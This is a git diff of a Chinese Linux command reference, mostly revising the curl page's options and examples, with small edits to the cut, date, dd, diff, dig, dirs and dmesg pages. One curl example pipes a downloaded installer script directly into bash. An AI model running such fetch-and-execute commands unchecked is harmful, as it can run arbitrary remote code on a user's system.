-**curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以祝一臂之力。
+**curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以助一臂之力。
### 语法
@@ -16,109 +16,109 @@ curl(选项)(参数)
### 选项
```bash
--a/--append # 上传文件时,附加到目标文件
--A/--user-agent # 设置用户代理发送给服务器
--anyauth # 可以使用“任何”身份验证方法
--b/--cookie # cookie字符串或文件读取位置
- --basic # 使用HTTP基本验证
--B/--use-ascii # 使用ASCII /文本传输
--c/--cookie-jar # 操作结束后把cookie写入到这个文件中
--C/--continue-at # 断点续传
--d/--data # HTTP POST方式传送数据
- --data-ascii # 以ascii的方式post数据
- --data-binary # 以二进制的方式post数据
- --negotiate # 使用HTTP身份验证
- --digest # 使用数字身份验证
- --disable-eprt # 禁止使用EPRT或LPRT
- --disable-epsv # 禁止使用EPSV
--D/--dump-header # 把header信息写入到该文件中
- --egd-file # 为随机数据(SSL)设置EGD socket路径
- --tcp-nodelay # 使用TCP\_NODELAY选项
--e/--referer # 来源网址
--E/--cert # 客户端证书文件和密码 (SSL)
- --cert-type # 证书文件类型 (DER/PEM/ENG) (SSL)
- --key # 私钥文件名 (SSL)
- --key-type # 私钥文件类型 (DER/PEM/ENG) (SSL)
- --pass # 私钥密码 (SSL)
- --engine # 加密引擎使用 (SSL). "--engine list" for list
- --cacert # CA证书 (SSL)
- --capath # CA目录 (made using c\_rehash) to verify peer against (SSL)
- --ciphers # SSL密码
- --compressed # 要求返回是压缩的形势 (using deflate or gzip)
- --connect-timeout # 设置最大请求时间
- --create-dirs # 建立本地目录的目录层次结构
- --crlf # 上传是把LF转变成CRLF
--f/--fail # 连接失败时不显示http错误
- --ftp-create-dirs # 如果远程目录不存在,创建远程目录
- --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用
- --ftp-pasv # 使用 PASV/EPSV 代替端口
- --ftp-skip-pasv-ip # 使用PASV的时候,忽略该IP地址
- --ftp-ssl # 尝试用 SSL/TLS 来进行ftp数据传输
- --ftp-ssl-reqd # 要求用 SSL/TLS 来进行ftp数据传输
--F/--form # 模拟http表单提交数据
- --form-string # 模拟http表单提交数据
--g/--globoff # 禁用网址序列和范围使用{}和\[]
--G/--get # 以get的方式来发送数据
--H/--header # 自定义头信息传递给服务器
- --ignore-content-length # 忽略的HTTP头信息的长度
--i/--include # 输出时包括protocol头信息
--I/--head # 只显示请求头信息
--j/--junk-session-cookies # 读取文件进忽略session cookie
- --interface # 使用指定网络接口/地址
- --krb4 # 使用指定安全级别的krb4
--k/--insecure # 允许不使用证书到SSL站点
--K/--config # 指定的配置文件读取
--l/--list-only # 列出ftp目录下的文件名称
- --limit-rate # 设置传输速度
- --local-port # 强制使用本地端口号
--m/--max-time # 设置最大传输时间
- --max-redirs # 设置最大读取的目录数
- --max-filesize # 设置最大下载的文件总量
--M/--manual # 显示全手动
--n/--netrc # 从netrc文件中读取用户名和密码
- --netrc-optional # 使用 .netrc 或者 URL来覆盖-n
- --ntlm # 使用 HTTP NTLM 身份验证
--N/--no-buffer # 禁用缓冲输出
--o/--output # 把输出写到该文件中
--O/--remote-name # 把输出写到该文件中,保留远程文件的文件名
--p/--proxytunnel # 使用HTTP代理
- --proxy-anyauth # 选择任一代理身份验证方法
- --proxy-basic # 在代理上使用基本身份验证
- --proxy-digest # 在代理上使用数字身份验证
- --proxy-ntlm # 在代理上使用ntlm身份验证
--P/--ftp-port # 使用端口地址,而不是使用PASV
--q # 作为第一个参数,关闭 .curlrc
--Q/--quote # 文件传输前,发送命令到服务器
--r/--range # 检索来自HTTP/1.1或FTP服务器字节范围
---range-file # 读取(SSL)的随机文件
--R/--remote-time # 在本地生成文件时,保留远程文件时间
- --retry # 传输出现问题时,重试的次数
- --retry-delay # 传输出现问题时,设置重试间隔时间
- --retry-max-time # 传输出现问题时,设置最大重试时间
--s/--silent # 静默模式。不输出任何东西
--S/--show-error # 显示错误
- --socks4 # 用socks4代理给定主机和端口
- --socks5 # 用socks5代理给定主机和端口
- --stderr #
--t/--telnet-option # Telnet选项设置
- --trace # 对指定文件进行debug
- --trace-ascii # Like --跟踪但没有hex输出
- --trace-time # 跟踪/详细输出时,添加时间戳
--T/--upload-file # 上传文件
- --url # Spet URL to work with
--u/--user # 设置服务器的用户和密码
--U/--proxy-user # 设置代理用户名和密码
--w/--write-out \[format] # 什么输出完成后
--x/--proxy # 在给定的端口上使用HTTP代理
--X/--request # 指定什么命令
--y/--speed-time # 放弃限速所要的时间,默认为30
--Y/--speed-limit # 停止传输速度的限制,速度时间
+-a --append # 上传文件时,附加到目标文件
+-A --user-agent # 设置用户代理发送给服务器
+-anyauth # 可以使用“任何”身份验证方法
+-b --cookie # cookie字符串或文件读取位置
+ --basic # 使用HTTP基本验证
+-B --use-ascii # 使用ASCII /文本传输
+-c --cookie-jar # 操作结束后把cookie写入到这个文件中
+-C --continue-at # 断点续传
+-d --data # HTTP POST方式传送数据
+ --data-ascii # 以ascii的方式post数据
+ --data-binary # 以二进制的方式post数据
+ --negotiate # 使用HTTP身份验证
+ --digest # 使用数字身份验证
+ --disable-eprt # 禁止使用EPRT或LPRT
+ --disable-epsv # 禁止使用EPSV
+-D --dump-header # 把header信息写入到该文件中
+ --egd-file # 为随机数据(SSL)设置EGD socket路径
+ --tcp-nodelay # 使用TCP\_NODELAY选项
+-e --referer # 来源网址
+-E --cert # 客户端证书文件和密码 (SSL)
+ --cert-type # 证书文件类型 (DER/PEM/ENG) (SSL)
+ --key # 私钥文件名 (SSL)
+ --key-type # 私钥文件类型 (DER/PEM/ENG) (SSL)
+ --pass # 私钥密码 (SSL)
+ --engine # 加密引擎使用 (SSL). "--engine list" for list
+ --cacert # CA证书 (SSL)
+ --capath # CA目录 (made using c\_rehash) to verify peer against (SSL)
+ --ciphers # SSL密码
+ --compressed # 要求返回是压缩的形势 (using deflate or gzip)
+ --connect-timeout # 设置最大请求时间
+ --create-dirs # 建立本地目录的目录层次结构
+ --crlf # 上传是把LF转变成CRLF
+-f --fail # 连接失败时不显示http错误
+ --ftp-create-dirs # 如果远程目录不存在,创建远程目录
+ --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用
+ --ftp-pasv # 使用 PASV/EPSV 代替端口
+ --ftp-skip-pasv-ip # 使用PASV的时候,忽略该IP地址
+ --ftp-ssl # 尝试用 SSL/TLS 来进行ftp数据传输
+ --ftp-ssl-reqd # 要求用 SSL/TLS 来进行ftp数据传输
+-F --form # 模拟http表单提交数据
+ --form-string # 模拟http表单提交数据
+-g --globoff # 禁用网址序列和范围使用{}和\[]
+-G --get # 以get的方式来发送数据
+-H --header # 自定义头信息传递给服务器
+ --ignore-content-length # 忽略的HTTP头信息的长度
+-i --include # 输出时包括protocol头信息
+-I --head # 只显示请求头信息
+-j --junk-session-cookies # 读取文件进忽略session cookie
+ --interface # 使用指定网络接口/地址
+ --krb4 # 使用指定安全级别的krb4
+-k --insecure # 允许不使用证书到SSL站点
+-K --config # 指定的配置文件读取
+-l --list-only # 列出ftp目录下的文件名称
+ --limit-rate # 设置传输速度
+ --local-port # 强制使用本地端口号
+-m --max-time # 设置最大传输时间
+ --max-redirs # 设置最大读取的目录数
+ --max-filesize # 设置最大下载的文件总量
+-M --manual # 显示全手动
+-n --netrc # 从netrc文件中读取用户名和密码
+ --netrc-optional # 使用 .netrc 或者 URL来覆盖-n
+ --ntlm # 使用 HTTP NTLM 身份验证
+-N --no-buffer # 禁用缓冲输出
+-o --output # 把输出写到该文件中
+-O --remote-name # 把输出写到该文件中,保留远程文件的文件名
+-p --proxytunnel # 使用HTTP代理
+ --proxy-anyauth # 选择任一代理身份验证方法
+ --proxy-basic # 在代理上使用基本身份验证
+ --proxy-digest # 在代理上使用数字身份验证
+ --proxy-ntlm # 在代理上使用ntlm身份验证
+-P --ftp-port # 使用端口地址,而不是使用PASV
+-q # 作为第一个参数,关闭 .curlrc
+-Q --quote # 文件传输前,发送命令到服务器
+-r --range # 检索来自HTTP/1.1或FTP服务器字节范围
+--range-file # 读取(SSL)的随机文件
+-R --remote-time # 在本地生成文件时,保留远程文件时间
+ --retry # 传输出现问题时,重试的次数
+ --retry-delay # 传输出现问题时,设置重试间隔时间
+ --retry-max-time # 传输出现问题时,设置最大重试时间
+-s --silent # 静默模式。不输出任何东西
+-S --show-error # 显示错误
+ --socks4 # 用socks4代理给定主机和端口
+ --socks5 # 用socks5代理给定主机和端口
+ --stderr #
+-t --telnet-option # Telnet选项设置
+ --trace # 对指定文件进行debug
+ --trace-ascii # Like --跟踪但没有hex输出
+ --trace-time # 跟踪/详细输出时,添加时间戳
+-T --upload-file # 上传文件
+ --url # 要使用的 URL
+-u --user # 设置服务器的用户和密码
+-U --proxy-user # 设置代理用户名和密码
+-w --write-out \[format] # 什么输出完成后
+-x --proxy # 在给定的端口上使用HTTP代理
+-X --request # 指定什么命令
+-y --speed-time # 放弃限速所要的时间,默认为30
+-Y --speed-limit # 停止传输速度的限制,速度时间
```
### 实例
-**文件下载**
+#### **文件下载**
curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作。如果系统没有curl可以使用`yum install curl`安装,也可以下载安装。curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用`--silent`选项。
@@ -141,7 +141,7 @@ curl http://example.com/test.iso -o filename.iso --progress
######################################### 100.0%
```
-**不输出错误和进度信息**
+#### **不输出错误和进度信息**
`-s` 参数将不输出错误和进度信息。
@@ -153,11 +153,12 @@ curl -s https://www.example.com
如果想让 curl 不产生任何输出,可以使用下面的命令。
```shell
-curl -s -o /dev/null https://google.com
+curl -s -o /dev/null https://example.com
```
-**断点续传**
-curl能够从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件:
+#### **断点续传**
+
+curl能够从特定的文件偏移处继续下载,它可以通过指定一个偏移量来下载部分文件:
```shell
curl URL/File -C 偏移量
@@ -166,19 +167,19 @@ curl URL/File -C 偏移量
curl -C -URL
```
-**使用curl设置参照页字符串**
+#### **使用curl设置参照页字符串**
参照页是位于HTTP头部中的一个字符串,用来表示用户是从哪个页面到达当前页面的,如果用户点击网页A中的某个连接,那么用户就会跳转到B网页,网页B头部的参照页字符串就包含网页A的URL。
-使用`--referer`选项指定参照页字符串:
+使用 `--referer` 选项指定参照页字符串:
```shell
-curl --referer http://www.google.com http://wangchujiang.com
+curl --referer http://www.example.com http://example.com
```
-**用curl设置用户代理字符串**
+#### **用curl设置用户代理字符串**
-有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用`--user-agent`或者`-A`选项:
+有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用 `--user-agent` 或者 `-A` 选项:
```shell
curl URL --user-agent "Mozilla/5.0"
@@ -188,10 +189,10 @@ curl URL -A "Mozilla/5.0"
其他HTTP头部信息也可以使用curl来发送,使用`-H`"头部信息" 传递多个头部信息,例如:
```shell
-curl -H "Host:wangchujiang.com" -H "accept-language:zh-cn" URL
+curl -H "Host:example.com" -H "accept-language:zh-cn" URL
```
-**curl的带宽控制和下载配额**
+#### **curl的带宽控制和下载配额**
使用`--limit-rate`限制curl的下载速度:
@@ -214,76 +215,81 @@ curl --limit-rate 200k https://example.com
# 上面命令将带宽限制在每秒 200K 字节。
```
-**用curl进行认证**
+#### **用curl进行认证**
使用curl选项 -u 可以完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:
```shell
-curl -u user:pwd http://wangchujiang.com
-curl -u user http://wangchujiang.com
+curl -u user:pwd http://example.com
+curl -u user http://example.com
```
-**只打印响应头部信息**
+#### **只打印响应头部信息**
通过`-I`或者`-head`可以只打印出HTTP头部信息:
```shell
-[root@localhost text]# curl -I http://wangchujiang.com
+[root@localhost text]# curl -I http://example.com
HTTP/1.1 200 OK
-Server: nginx/1.2.5
-date: Mon, 10 Dec 2012 09:24:34 GMT
+Content-Encoding: gzip
+Accept-Ranges: bytes
+Age: 275552
+Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
-Connection: keep-alive
-Vary: Accept-Encoding
-X-Pingback: http://wangchujiang.com/xmlrpc.php
+Date: Mon, 24 Apr 2023 14:39:36 GMT
+Etag: "3147526947+gzip"
+Expires: Mon, 01 May 2023 14:39:36 GMT
+Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
+Server: ECS (sec/96EE)
+X-Cache: HIT
+Content-Length: 648
```
-**get请求**
+#### **GET 请求**
```shell
-curl "http://www.wangchujiang.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地
-curl -i "http://www.wangchujiang.com" # 显示全部信息
-curl -l "http://www.wangchujiang.com" # 显示页面内容
-curl -v "http://www.wangchujiang.com" # 显示get请求全过程解析
+curl "http://www.example.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地
+curl -i "http://www.example.com" # 显示全部信息
+curl -l "http://www.example.com" # 显示页面内容
+curl -v "http://www.example.com" # 显示get请求全过程解析
```
-**post请求**
+#### **POST 请求**
```shell
-$ curl -d "param1=value1¶m2=value2" "http://www.wangchujiang.com/login"
+$ curl -d "param1=value1¶m2=value2" "http://www.example.com/login"
-curl -d'login=emma&password=123' -X POST https://wangchujiang.com/login
+$ curl -d'login=emma&password=123' -X POST https://example.com/login
# 或者
-$ curl -d 'login=emma' -d 'password=123' -X POST https://wangchujiang.com/login
+$ curl -d 'login=emma' -d 'password=123' -X POST https://example.com/login
```
-
`--data-urlencode` 参数等同于 `-d`,发送 `POST` 请求的数据体,区别在于会自动将发送的数据进行 `URL` 编码。
```shell
-curl --data-urlencode 'comment=hello world' https://wangchujiang.com/login
+curl --data-urlencode 'comment=hello world' https://example.com/login
# 上面代码中,发送的数据hello world之间有一个空格,需要进行 URL 编码。
```
-**读取本地文本文件的数据,向服务器发送**
+#### **发送本地文件中的文字**
```shell
-curl -d '@data.txt' https://wangchujiang.com/upload
+curl -d '@data.txt' https://example.com/upload
# 读取data.txt文件的内容,作为数据体向服务器发送。
```
-**json格式的post请求**
+#### **JSON 格式的 POST 请求**
```shell
-curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13521389587","password":"test"}' http://wangchujiang.com/apis/users.json
+curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13888888888","password":"test"}' http://example.com/apis/users.json
```
-**向服务器发送 Cookie**
+#### **向服务器发送 Cookie**
使用`--cookie "COKKIES"`选项来指定cookie,多个cookie使用分号分隔:
```shell
-curl http://wangchujiang.com --cookie "user=root;pass=123456"
+curl http://example.com --cookie "user=root;pass=123456"
```
将cookie另存为一个文件,使用`--cookie-jar`选项:
@@ -292,95 +298,94 @@ curl http://wangchujiang.com --cookie "user=root;pass=123456"
curl URL --cookie-jar cookie_file
```
-
`-b` 参数用来向服务器发送 Cookie。
```shell
-curl -b 'foo=bar' https://taobao.com
+curl -b 'foo=bar' https://example.com
# 上面命令会生成一个标头Cookie: foo=bar,向服务器发送一个名为foo、值为bar的 Cookie。
```
```shell
-curl -b 'foo1=bar' -b 'foo2=baz' https://taobao.com
+curl -b 'foo1=bar' -b 'foo2=baz' https://example.com
# 上面命令发送两个 Cookie。
```shell
-curl -b cookies.txt https://www.taobao.com
+curl -b cookies.txt https://www.example.com
# 上面命令读取本地文件 cookies.txt,里面是服务器设置的 Cookie(参见-c参数),将其发送到服务器。
```
-**Cookie 写入一个文件**
+#### **Cookie 写入一个文件**
```shell
-curl -c cookies.txt https://www.taobao.com
+curl -c cookies.txt https://www.example.com
# 上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件cookies.txt。
```
-**请求的来源**
+#### **请求的来源**
`-e` 参数用来设置 `HTTP` 的标头 `Referer`,表示请求的来源。
```shell
-curl -e 'https://taobao.com?q=example' https://www.example.com
-# 上面命令将Referer标头设为 https://taobao.com?q=example。
+curl -e 'https://example.com?q=example' https://www.example.com
+# 上面命令将Referer标头设为 https://example.com?q=example。
```
`-H` 参数可以通过直接添加标头 `Referer`,达到同样效果。
```shell
-curl -H 'Referer: https://taobao.com?q=example' https://www.example.com
+curl -H 'Referer: https://example.com?q=example' https://www.example.com
```
-**上传二进制文件**
+#### **上传二进制文件**
`-F` 参数用来向服务器上传二进制文件。
```shell
-curl -F 'file=@photo.png' https://taobao.com/profile
+curl -F 'file=@photo.png' https://example.com/profile
# 上面命令会给 HTTP 请求加上标头 Content-Type: multipart/form-data ,然后将文件photo.png作为file字段上传。
```
`-F` 参数可以指定 `MIME` 类型。
```shell
-curl -F 'file=@photo.png;type=image/png' https://taobao.com/profile
+curl -F 'file=@photo.png;type=image/png' https://example.com/profile
# 上面命令指定 MIME 类型为image/png,否则 curl 会把 MIME 类型设为 application/octet-stream。
```
`-F` 参数也可以指定文件名。
```shell
-curl -F 'file=@photo.png;filename=me.png' https://taobao.com/profile
+curl -F 'file=@photo.png;filename=me.png' https://example.com/profile
# 上面命令中,原始文件名为photo.png,但是服务器接收到的文件名为me.png。
```
-**设置请求头**
+#### **设置请求头**
`-H` 参数添加 `HTTP` 请求的标头。
```shell
-curl -H 'Accept-Language: en-US' https://google.com
+curl -H 'Accept-Language: en-US' https://example.com
# 上面命令添加 HTTP 标头 Accept-Language: en-US。
```
```shell
-curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://google.com
+curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://example.com
# 上面命令添加两个 HTTP 标头。
```
```shell
-curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://google.com/login
+curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://example.com/login
# 上面命令添加 HTTP 请求的标头是 Content-Type: application/json,然后用 -d 参数发送 JSON 数据。
```
-**跳过 SSL 检测**
+#### **跳过 SSL 检测**
```shell
curl -k https://www.example.com
# 上面命令不会检查服务器的 SSL 证书是否正确。
```
-**请求跟随服务器的重定向**
+#### **请求跟随服务器的重定向**
`-L` 参数会让 `HTTP` 请求跟随服务器的重定向。`curl` 默认不跟随重定向。
@@ -388,7 +393,26 @@ curl -k https://www.example.com
curl -L -d 'tweet=hi' https://api.example.com/tweet
```
-**调试参数**
+值得注意的是,这种重定向方式不适用于在返回的 HTML 中的重定向,比如这种是不被 curl 识别的重定向(这部分内容由 `curl -v -L ` 生成)
+
+```curl
+* Connected to example.com (*.*.*.*) port 80 (#0)
+> GET / HTTP/1.1
+> Host: example.com
+> User-Agent: curl/8.0.1
+> Accept: */*
+>
+< HTTP/1.1 200 OK
+....
+< Content-Type: text/html
+<
+
+
+
+
+```
+
+#### **调试参数**
`-v` 参数输出通信的整个过程,用于调试。
@@ -398,17 +422,16 @@ curl -v https://www.example.com
```
```shell
-$ curl --trace - https://www.example.com
+curl --trace - https://www.example.com
```
-**获取本机外网ip**
+#### **获取本机外网 IP**
```shell
curl ipecho.net/plain
```
-
-**使用 curl 测试网站加载速度**
+#### **使用 curl 测试网站加载速度**
命令有一个鲜为人知的选项,`-w`,该选项在请求结束之后打印本次请求的统计数据到标准输出。
@@ -428,7 +451,6 @@ Total Time:\t\t\t%{time_total}s\n
curl 提供了很多置换变量,可以在格式化字符串中通过 `%{var}` 的形式使用。完整的变量列表可以在 `curl` 的 `manpage` 中查看。简单介绍一下我们使用的这几个变量:
-
- `url_effective`: 执行完地址重定向之后的最终 URL;
- `time_namelookup`: 从请求开始至完成名称解析所花的时间,单位为秒,下同;
- `time_redirect`: 执行所有重定向所花的时间;
@@ -441,7 +463,7 @@ curl 提供了很多置换变量,可以在格式化字符串中通过 `%{var}`
然后执行请求,通过 @filename 指定保存了格式化字符串的文件:
```shell
-$ curl -L -s -w @fmt.txt -o /dev/null http://www.google.com
+curl -L -s -w @fmt.txt -o /dev/null http://www.example.com
```
输出:
@@ -459,10 +481,10 @@ Start-transfer Time: 0.260115s
Total Time: 0.467691s
```
-### 要求返回是压缩的状态
+#### **要求返回是压缩的状态**
```shell
-▶ curl --compressed -o- -L https://yarnpkg.com/install.sh | bash
+$ curl --compressed -o- -L https://yarnpkg.com/install.sh | bash
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 54 100 54 0 0 42 0 0:00:01 0:00:01 --:--:-- 42
@@ -484,6 +506,3 @@ Installing Yarn!
100 647 100 647 0 0 1283 0 --:--:-- --:--:-- --:--:-- 1283
100 832 100 832 0 0 1107 0 --:--:-- --:--:-- --:--:-- 812k
```
-
-
-
diff --git a/command/cut.md b/command/cut.md
index 40674dea51c..4112fb824e6 100644
--- a/command/cut.md
+++ b/command/cut.md
@@ -157,4 +157,17 @@ efghijklmnopqrstuvwxyz
efghijklmnopqrstuvwxyz
```
+打印最后5个字符:
+
+遗憾的是, `cut`并没有提供最后字符的支持. 不过我们可以通过字符串反转来实现.
+
+```shell
+[root@localhost text]# cat test.txt| rev | cut -c -5 | rev
+vwxyz
+vwxyz
+vwxyz
+vwxyz
+vwxyz
+```
+
diff --git a/command/date.md b/command/date.md
index e6b65ab671c..7d0dae3945b 100644
--- a/command/date.md
+++ b/command/date.md
@@ -90,11 +90,9 @@ _ (下划线) 使用空格填充相应的字段。
-d, --date=STRING 解析字符串并按照指定格式输出,字符串不能是'now'。
--debug 注释已解析的日期,并将有疑问的用法发送到标准错误。
-f, --file=DATEFILE 类似于--date; 一次从DATEFILE处理一行。
--I[FMT], --iso-8601[=FMT] 按照ISO 8601格式输出,FMT可以为'date'(默认),'hours','minutes','seconds','ns'。
- 例如:2006-08-14T02:34:56-06:00
+-I[FMT], --iso-8601[=FMT] 按照ISO 8601格式输出,FMT可以为'date'(默认),'hours','minutes','seconds','ns'。例如:2006-08-14T02:34:56-06:00
-R, --rfc-email 按照RFC 5322格式输出,例如: Mon, 14 Aug 2006 02:34:56 -0600
---rfc-3339=FMT 按照RFC 3339格式输出,FMT可以为'date', 'seconds','ns'中的一个,
- 例如:2006-08-14 02:34:56-06:00
+--rfc-3339=FMT 按照RFC 3339格式输出,FMT可以为'date', 'seconds','ns'中的一个,例如:2006-08-14 02:34:56-06:00
-r, --reference=FILE 显示文件的上次修改时间。
-s, --set=STRING 根据字符串设置系统时间。
-u, --utc, --universal 显示或设置世界协调时(UTC)。
diff --git a/command/dd.md b/command/dd.md
index 749c94720cc..dd6e87568f8 100644
--- a/command/dd.md
+++ b/command/dd.md
@@ -24,6 +24,7 @@ conv=<关键字>:指定文件转换的方式;
count=<区块数>:仅读取指定的区块数;
ibs=<字节数>:每次读取的字节数;
obs=<字节数>:每次输出的字节数;
+if=<文件>:输入文件;
of=<文件>:输出到文件;
seek=<区块数>:一开始输出时,跳过指定的区块数;
skip=<区块数>:一开始读取时,跳过指定的区块数;
@@ -82,3 +83,19 @@ wFRAnlkXeBXmWs1MyGEs
+**测试磁盘写入速度**
+
+```shell
+[root@localhost ~]# dd if=/dev/zero of=/tmp/testfile bs=1G count=1 oflag=direct
+1+0 records in
+1+0 records out
+1073741824 bytes (1.1 GB) copied, 7.10845 s, 151 MB/s
+```
+
+**测试磁盘读取速度**
+```shell
+[root@localhost ~]# dd if=/tmp/testfile of=/dev/null bs=1G count=1 iflag=direct
+1+0 records in
+1+0 records out
+1073741824 bytes (1.1 GB) copied, 6.53009 s, 164 MB/s
+```
diff --git a/command/diff.md b/command/diff.md
index 56fcfbbda24..e3f177a1a72 100644
--- a/command/diff.md
+++ b/command/diff.md
@@ -17,31 +17,31 @@ diff(选项)(参数)
```shell
-<行数>:指定要显示多少行的文本。此参数必须与-c或-u参数一并使用;
--a或——text:diff预设只会逐行比较文本文件;
+-a或--text:diff预设只会逐行比较文本文件;
-b或--ignore-space-change:不检查空格字符的不同;
-B或--ignore-blank-lines:不检查空白行;
-c:显示全部内容,并标出不同之处;
-C<行数>或--context<行数>:与执行“-c-<行数>”指令相同;
--d或——minimal:使用不同的演算法,以小的单位来做比较;
+-d或--minimal:使用不同的演算法,以小的单位来做比较;
-D<巨集名称>或ifdef<巨集名称>:此参数的输出格式可用于前置处理器巨集;
--e或——ed:此参数的输出格式可用于ed的script文件;
+-e或--ed:此参数的输出格式可用于ed的script文件;
-f或-forward-ed:输出的格式类似ed的script文件,但按照原来文件的顺序来显示不同处;
-H或--speed-large-files:比较大文件时,可加快速度;
-l<字符或字符串>或--ignore-matching-lines<字符或字符串>:若两个文件在某几行有所不同,而之际航同时都包含了选项中指定的字符或字符串,则不显示这两个文件的差异;
-i或--ignore-case:不检查大小写的不同;
--l或——paginate:将结果交由pr程序来分页;
--n或——rcs:将比较结果以RCS的格式来显示;
+-l或--paginate:将结果交由pr程序来分页;
+-n或--rcs:将比较结果以RCS的格式来显示;
-N或--new-file:在比较目录时,若文件A仅出现在某个目录中,预设会显示:Only in目录,文件A 若使用-N参数,则diff会将文件A 与一个空白的文件比较;
-p:若比较的文件为C语言的程序码文件时,显示差异所在的函数名称;
-P或--unidirectional-new-file:与-N类似,但只有当第二个目录包含了第一个目录所没有的文件时,才会将这个文件与空白的文件做比较;
-q或--brief:仅显示有无差异,不显示详细的信息;
--r或——recursive:比较子目录中的文件;
+-r或--recursive:比较子目录中的文件;
-s或--report-identical-files:若没有发现任何差异,仍然显示信息;
-S<文件>或--starting-file<文件>:在比较目录时,从指定的文件开始比较;
-t或--expand-tabs:在输出时,将tab字符展开;
-T或--initial-tab:在每行前面加上tab字符以便对齐;
-u,-U<列数>或--unified=<列数>:以合并的方式来显示文件内容的不同;
--v或——version:显示版本信息;
+-v或--version:显示版本信息;
-w或--ignore-all-space:忽略全部的空格字符;
-W<宽度>或--width<宽度>:在使用-y参数时,指定栏宽;
-x<文件名或目录>或--exclude<文件名或目录>:不比较选项中所指定的文件或目录;
@@ -54,8 +54,8 @@ diff(选项)(参数)
### 参数
-* 文件1:指定要比较的第一个文件;
-* 文件2:指定要比较的第二个文件。
+* 文件1:指定要比较的第一个文件;
+* 文件2:指定要比较的第二个文件。
### 实例
@@ -71,7 +71,7 @@ diff a.txt b.txt
diff -c a.txt b.txt
```
-```
+```shell
*** a1.txt 2012-08-29 16:45:41.000000000 +0800
--- a2.txt 2012-08-29 16:45:51.000000000 +0800
***************
@@ -99,7 +99,7 @@ diff -c a.txt b.txt
diff -u a.txt b.txt
```
-```
+```shell
--- a.txt 2012-08-29 16:45:41.000000000 +0800
+++ b.txt 2012-08-29 16:45:51.000000000 +0800
@@ -1,7 +1,7 @@
diff --git a/command/dig.md b/command/dig.md
index c832c32e563..47109c4775a 100644
--- a/command/dig.md
+++ b/command/dig.md
@@ -37,29 +37,28 @@ dig(选项)(参数)
### 实例
```shell
-[root@localhost ~]# dig www.jsdig.com
+[root@localhost ~]# dig www.baidu.com
-; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.1 <<>> www.jsdig.com
-;; global options: printcmd
+; <<>> DiG 9.10.6 <<>> www.baidu.com
+;; global options: +cmd
;; Got answer:
-;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2115
-;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 0
+;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57295
+;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
+;; OPT PSEUDOSECTION:
+; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
-;www.jsdig.com. IN A
+;www.baidu.com. IN A
;; ANSWER SECTION:
-www.jsdig.com. 0 IN CNAME host.1.jsdig.com.
-host.1.jsdig.com. 0 IN A 100.42.212.8
-
-;; AUTHORITY SECTION:
-jsdig.com. 8 IN NS f1g1ns2.dnspod.net.
-jsdig.com. 8 IN NS f1g1ns1.dnspod.net.
-
-;; Query time: 0 msec
-;; SERVER: 202.96.104.15#53(202.96.104.15)
-;; WHEN: Thu Dec 26 11:14:37 2013
-;; MSG SIZE rcvd: 121
+www.baidu.com. 963 IN CNAME www.a.shifen.com.
+www.a.shifen.com. 63 IN A 180.101.50.242
+www.a.shifen.com. 63 IN A 180.101.50.188
+
+;; Query time: 14 msec
+;; SERVER: 119.29.29.29#53(119.29.29.29)
+;; WHEN: Wed May 10 16:16:36 CST 2023
+;; MSG SIZE rcvd: 101
```
diff --git a/command/dirs.md b/command/dirs.md
index 5d0b7b262bf..de6a297ad7c 100644
--- a/command/dirs.md
+++ b/command/dirs.md
@@ -3,7 +3,7 @@ dirs
显示目录堆栈。
-## 概要
+## 语法
```shell
dirs [-clpv] [+N] [-N]
@@ -12,7 +12,6 @@ dirs [-clpv] [+N] [-N]
## 主要用途
- 显示目录堆栈。
-
- 清空目录堆栈。
## 选项
diff --git a/command/dmesg.md b/command/dmesg.md
index 5e992b4f283..d1258517a50 100644
--- a/command/dmesg.md
+++ b/command/dmesg.md
@@ -50,4 +50,12 @@ dmesg | grep sda
[ 2.448503] sd 0:0:0:0: [sda] Attached SCSI disk
```
+查看多关键字
+```shell
+dmesg | grep -E "vcc5v0_host|vcc_3v3_s0|ttyS"
+
+[ 1.193143] vcc5v0_host: supplied by vcc5v0_usb
